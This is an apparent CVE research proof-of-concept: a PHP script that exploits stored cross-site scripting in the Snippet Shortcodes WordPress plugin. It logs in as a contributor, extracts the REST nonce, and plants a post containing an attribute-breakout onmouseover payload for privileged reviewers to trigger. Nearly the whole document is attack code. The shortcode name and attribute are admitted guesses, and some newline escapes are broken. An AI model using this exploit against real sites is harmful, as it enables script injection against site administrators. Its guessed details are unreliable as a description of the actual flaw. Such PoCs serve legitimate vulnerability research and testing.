CVE-2026-16758: Snippet Shortcodes <= 5.2.0 Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes PoC, Patch Analysis & Rule

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-16758 - Snippet Shortcodes <= 5.2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

/**
 * Proof of Concept for CVE-2026-16758
 *
 * This PoC demonstrates how an authenticated contributor can inject a stored XSS payload
 * by creating a WordPress post that includes a malicious shortcode attribute.
 *
 * Assumptions:
 * - The target site runs WordPress with the Snippet Shortcodes plugin (slug: shortcode-variables) version <= 5.2.0.
 * - The attacker has an account with at least Contributor role.
 * - The plugin registers a shortcode that outputs attributes without escaping. The exact shortcode name is not known;
 *   this PoC uses a common placeholder 'snippet' and a likely attribute 'color'. Adjust the shortcode name and attribute
 *   based on the actual plugin usage.
 * - The WordPress REST API (WP 5.0+) is enabled, allowing post creation via /wp-json/wp/v2/posts.
 * - Two-factor authentication or other nonce mechanisms are not enforced on the REST endpoint.
 */

// --- Configuration ---
$target_url = 'https://example.com'; // Replace with the target WordPress site URL
$username = 'contributor_user';      // Replace with a valid contributor username
$password = 'password';              // Replace with the user's password

// --- Step 1: Obtain a nonce and cookie session via the login endpoint ---
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init($login_url);
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($login_data),
    CURLOPT_COOKIEJAR => '/tmp/wp_cookies.txt',
    CURLOPT_FOLLOWLOCATION => false,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
]);
$login_response = curl_exec($ch);
$login_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($login_http_code != 302 && $login_http_code != 200) {
    die("[!] Login failed. HTTP Code: $login_http_coden");
}

// --- Step 2: Get a REST API nonce (only needed if using cookie auth; for basic auth, skip) ---
// For this PoC, we use cookie authentication (nonce is not required for application passwords, but for standard cookies we need a nonce).
// Obtain the REST nonce from the admin page. This step is optional if using basic auth.
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init($admin_url);
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/wp_cookies.txt',
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
]);
$admin_page = curl_exec($ch);
curl_close($ch);

preg_match('/var wpApiSettings = .*?"nonce":"([a-f0-9]+)"/', $admin_page, $nonce_matches);
$nonce = isset($nonce_matches[1]) ? $nonce_matches[1] : '';
if (empty($nonce)) {
    // Fallback: use REST API with basic auth (requires the Application Passwords feature).
    $nonce = null;
}

// --- Step 3: Prepare the XSS payload ---
// The shortcode attribute value contains a quote to break out of the HTML attribute and inject an event handler.
// The actual shortcode name and attribute must match the plugin. 'snippet' and 'color' are placeholders.
$shortcode = '[snippet color="`" onmouseover="alert(1)" x="`"]';

// --- Step 4: Create a new post with the stored XSS payload ---
$endpoint = $target_url . '/wp-json/wp/v2/posts';
$post_data = [
    'title' => 'Atomic Edge PoC - Stored XSS',
    'content' => $shortcode,
    'status' => 'pending' // Contributors cannot publish directly, but the post is stored and accessible to privileged users.
];

$ch = curl_init($endpoint);
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($post_data),
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json; charset=utf-8',
        'X-WP-Nonce: ' . $nonce
    ],
    CURLOPT_COOKIEFILE => '/tmp/wp_cookies.txt',
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 201) {
    echo "[+] Post created successfully. XSS payload stored.n";
    $post_response = json_decode($response, true);
    if (isset($post_response['link'])) {
        echo "[+] View the post at: " . $post_response['link'] . "n";
    }
} else {
    echo "[!] Failed to create post. HTTP Code: $http_coden";
    echo "Response: " . $response . "n";
}
?>